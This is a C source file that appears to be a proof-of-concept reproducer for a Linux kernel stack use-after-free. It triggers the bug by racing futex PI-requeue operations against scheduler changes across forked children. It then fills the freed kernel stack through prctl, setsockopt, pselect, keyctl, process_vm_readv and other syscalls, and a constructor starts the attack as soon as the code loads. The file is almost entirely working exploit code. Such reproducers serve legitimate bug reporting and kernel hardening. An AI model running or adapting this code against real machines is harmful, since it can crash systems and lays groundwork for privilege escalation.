#include <fcntl.h>
#include <linux/keyctl.h>
#include <linux/futex.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <pthread.h>
#include <stddef.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define CHILDREN 8
#define ROUNDS 300
#define SHMEM_LEN (1024 * 1024)
#define PR_SET_MM 35
#define PR_SET_MM_MAP 14
#define PR_SET_MM_MAP_SIZE 15

struct sched_attr {
	uint32_t size;
	uint32_t policy;
	uint64_t flags;
	int32_t nice;
	uint32_t priority;
	uint64_t runtime;
	uint64_t deadline;
	uint64_t period;
	uint32_t util_min;
	uint32_t util_max;
};

struct prctl_mm_map {
	uint64_t start_code;
	uint64_t end_code;
	uint64_t start_data;
	uint64_t end_data;
	uint64_t start_brk;
	uint64_t brk;
	uint64_t start_stack;
	uint64_t arg_start;
	uint64_t arg_end;
	uint64_t env_start;
	uint64_t env_end;
	uint64_t *auxv;
	uint32_t auxv_size;
	uint32_t exe_fd;
};

uint32_t f_wait;
uint32_t f_pi_target;
uint32_t f_pi_chain;
struct prctl_mm_map mm_map;
unsigned char *shmem_map;
size_t page_size;

volatile int a_ready;
volatile int a_tid;
volatile int a_waiting;
volatile int b_started;
volatile int consume;
volatile int stamp_ready;
volatile int scheduled;
volatile int deadlock_seen;
volatile int punch_go;
volatile int punch_done;
int lane;
int done_fd;
int shmem_fd;

void futex_pi_lock(uint32_t *uaddr) {
	syscall(SYS_futex, uaddr, FUTEX_LOCK_PI, 0, 0, 0, 0);
}

void futex_wait_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2, struct timespec *ts) {
	syscall(SYS_futex, uaddr, FUTEX_WAIT_REQUEUE_PI, 0, ts, uaddr2, 0);
}

void futex_cmp_requeue_pi(uint32_t *uaddr, uint32_t *uaddr2) {
	syscall(SYS_futex, uaddr, FUTEX_CMP_REQUEUE_PI, 1, 1, uaddr2, 0);
}

void futex_wait_int(volatile int *uaddr, int val) {
	syscall(SYS_futex, (int *)uaddr, FUTEX_WAIT, val, 0, 0, 0);
}

void futex_wake_int(volatile int *uaddr) {
	syscall(SYS_futex, (int *)uaddr, FUTEX_WAKE, 1, 0, 0, 0);
}

void wait_change(volatile int *uaddr, int val) {
	while (*uaddr == val) futex_wait_int(uaddr, val);
}

void fill(uint64_t *buf) {
	for (int i = 0; i < 64; i++)
		buf[i] = 0xdeadbee11c518f58ULL + i * 8;
}

void ready_stamp(void) {
	stamp_ready = 1;
	futex_wake_int(&stamp_ready);
}

uint64_t *shmem_auxv(void) {
	return (uint64_t *)(shmem_map + page_size - 29 * sizeof(uint64_t));
}

void fill_shmem(void) {
	uint64_t *page = (uint64_t *)shmem_map;
	uint64_t *auxv = shmem_auxv();
	for (size_t i = 0; i < page_size / sizeof(uint64_t); i++)
		page[i] = 0xdeadbee11c518f58ULL + i * 8;
	for (int i = 0; i < 64; i++)
		auxv[i] = 0xdeadbee11c518f58ULL + i * 8;
}

void *puncher() {
	wait_change(&punch_go, 0);
	while (!punch_done) {
		syscall(SYS_fallocate, shmem_fd, 0, page_size, SHMEM_LEN - page_size);
		syscall(SYS_fallocate, shmem_fd, 3, page_size, SHMEM_LEN - page_size);
	}
	for (;;);
}

void setup_prctl(void) {
	unsigned int sz = 0;
	pthread_t th;
	page_size = sysconf(_SC_PAGESIZE);
	shmem_fd = syscall(SYS_memfd_create, "x", 0);
	syscall(SYS_fallocate, shmem_fd, 0, 0, SHMEM_LEN);
	shmem_map = mmap((void *)0xdead10000, SHMEM_LEN, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, shmem_fd, 0);
	for (size_t off = page_size; off < SHMEM_LEN; off += page_size)
		shmem_map[off] = 0;
	syscall(SYS_prctl, PR_SET_MM, PR_SET_MM_MAP_SIZE, &sz, 0, 0);
	mm_map = (struct prctl_mm_map){
		.start_code = (uint64_t)&setup_prctl,
		.end_code = (uint64_t)&setup_prctl + 0x1000,
		.start_data = (uint64_t)&shmem_fd & ~0xfffULL,
		.end_data = ((uint64_t)&shmem_fd & ~0xfffULL) + 0x1000,
		.start_brk = (uint64_t)sbrk(0),
		.brk = (uint64_t)sbrk(0),
		.start_stack = (uint64_t)&sz,
		.arg_start = (uint64_t)&sz,
		.arg_end = (uint64_t)&sz,
		.env_start = (uint64_t)&sz,
		.env_end = (uint64_t)&sz,
		.auxv = shmem_auxv(),
		.auxv_size = 48 * sizeof(uint64_t),
		.exe_fd = -1,
	};
	pthread_create(&th, 0, puncher, 0);
}

void stamp_prctl(uint64_t *buf) {
	fill_shmem();
	punch_go = 1;
	futex_wake_int(&punch_go);
	usleep(4000);
	ready_stamp();
	syscall(SYS_sched_yield);
	for (int i = 0; i < 100; i++)
		syscall(SYS_prctl, PR_SET_MM, PR_SET_MM_MAP, &mm_map, sizeof(mm_map), 0);
}

void stamp_socket(uint64_t *buf) {
	int fd = socket(AF_INET6, SOCK_DGRAM, 0);
	setsockopt(fd, IPPROTO_IPV6, MCAST_JOIN_SOURCE_GROUP, buf, sizeof(struct group_source_req));
	close(fd);
}

void stamp_pselect(uint64_t *buf) {
	struct timespec ts = {};
	syscall(SYS_pselect6, 256, buf, buf + 16, buf + 32, &ts, 0);
}

void stamp_tcp(uint64_t *buf) {
	socklen_t len = 128;
	int fd = socket(AF_INET, SOCK_STREAM, 0);
	syscall(SYS_getsockopt, fd, IPPROTO_TCP, TCP_ZEROCOPY_RECEIVE, buf, &len);
	close(fd);
}

void stamp_process_vm(uint64_t *buf) {
	struct iovec iov[8];
	for (int i = 0; i < 8; i++) {
		iov[i].iov_base = (void *)(buf[i] + 0x1000);
		iov[i].iov_len = 8;
	}
	syscall(SYS_process_vm_readv, syscall(SYS_getpid), iov, 8, iov, 8, 0);
	syscall(SYS_process_vm_writev, syscall(SYS_getpid), iov, 8, iov, 8, 0);
}

void stamp_keyctl(uint64_t *buf) {
	struct iovec iov[8];
	for (int i = 0; i < 8; i++) {
		iov[i].iov_base = (void *)(buf[i] + 0x2000);
		iov[i].iov_len = 8;
	}
	syscall(SYS_keyctl, KEYCTL_DH_COMPUTE, buf, buf, 64, 0);
	syscall(SYS_keyctl, KEYCTL_INSTANTIATE_IOV, -1, iov, 8, 0);
}

void stamp_fd(uint64_t *buf) {
	int fd = syscall(SYS_timerfd_create, CLOCK_MONOTONIC, 0);
	int dup = syscall(SYS_fcntl, fd, F_DUPFD, 32);
	dup2(fd, 31);
	close(dup);
	close(31);
	close(fd);
}

void stamp_futex(uint64_t *buf) {
	struct timespec ts = {};
	uint32_t a = 0;
	uint32_t b = 0;
	syscall(SYS_futex, &a, FUTEX_LOCK_PI, 0, 0, 0, 0);
	syscall(SYS_futex, &a, FUTEX_UNLOCK_PI, 0, 0, 0, 0);
	syscall(SYS_futex, &a, FUTEX_WAIT_REQUEUE_PI, 0, &ts, &b, 0);
	syscall(SYS_futex, &a, FUTEX_CMP_REQUEUE_PI, 1, 1, &b, 0);
}

void (*stamps[])(uint64_t *) = {
	stamp_prctl,
	stamp_socket,
	stamp_pselect,
	stamp_process_vm,
	stamp_tcp,
	stamp_keyctl,
	stamp_fd,
	stamp_futex,
};

void stamp_one(uint64_t *buf, int id) {
	fill(buf);
	// Note that this is only one possible way to control the stack UAF (to get an observable crash)
	// There are several unpriveleged, default avaliable way to control the kernel stack, so this bug is
	// competely not revelent whether the following setsockopt is accessable or not.
	stamps[id](buf);
}

void stamp(void) {
	uint64_t buf[64];
	stamp_one(buf, lane);
	ready_stamp();
	for (int i = 0; i < ROUNDS; i++)
		stamp_one(buf, lane);
}

void *waiter() {
	struct timespec ts;
	a_tid = syscall(SYS_gettid);
	futex_pi_lock(&f_pi_chain);
	a_ready = 1;
	usleep(20000);
	clock_gettime(CLOCK_MONOTONIC, &ts);
	ts.tv_nsec += 50000000;
	if (ts.tv_nsec >= 1000000000) {
		ts.tv_sec++;
		ts.tv_nsec -= 1000000000;
	}
	a_waiting = 1;
	futex_wait_requeue_pi(&f_wait, &f_pi_target, &ts);
	wait_change(&deadlock_seen, 0);
	consume = 1;
	futex_wake_int(&consume);
	stamp();
	wait_change(&scheduled, 0);
	syscall(SYS_write, done_fd, "x", 1);
	_exit(0);
}

void *owner() {
	futex_pi_lock(&f_pi_target);
	while (!a_ready);
	b_started = 1;
	futex_pi_lock(&f_pi_chain);
	for (;;);
}

void *consumer() {
	struct sched_attr attr = {
		.size = sizeof(attr),
		.policy = 3,
		.nice = 19,
	};
	int tid;
	while (!(tid = a_tid));
	wait_change(&consume, 0);
	wait_change(&stamp_ready, 0);
	syscall(SYS_sched_setattr, tid, &attr, 0);
	scheduled = 1;
	futex_wake_int(&scheduled);
	for (;;);
}

void run_child(int id, int fd) {
	pthread_t th;
	pthread_attr_t attr;
	lane = id;
	done_fd = fd;
	mlockall(MCL_CURRENT | MCL_FUTURE);
	pthread_attr_init(&attr);
	pthread_attr_setstacksize(&attr, 1024 * 1024);
	if (!lane)
		setup_prctl();
	pthread_create(&th, &attr, owner, 0);
	pthread_create(&th, &attr, consumer, 0);
	pthread_create(&th, &attr, waiter, 0);
	while (!a_waiting || !b_started);
	usleep(20000);
	syscall(SYS_write, fd, "r", 1);
	futex_cmp_requeue_pi(&f_wait, &f_pi_target);
	deadlock_seen = 1;
	futex_wake_int(&deadlock_seen);
	for (;;)
		pause();
}

void run(void) {
	for (int i = 0; i < CHILDREN; i++) {
		int p[2];
		syscall(SYS_pipe2, p, 0);
		int pid = fork();
		if (!pid) {
			close(p[0]);
			run_child(i, p[1]);
		}
		close(p[1]);
		char c;
		syscall(SYS_read, p[0], &c, 1);
		fd_set set;
		struct timeval tv = {};
		FD_ZERO(&set);
		FD_SET(p[0], &set);
		tv.tv_usec = 300000;
		if (select(p[0] + 1, &set, 0, 0, &tv) <= 0)
			syscall(SYS_kill, pid, 9);
		else
			syscall(SYS_read, p[0], &c, 1);
		close(p[0]);
		waitpid(pid, 0, 0);
	}
	for (;;);
}

void init(void) __attribute__((constructor));

void init(void) {
	run();
}

int main(void) {
	run();
}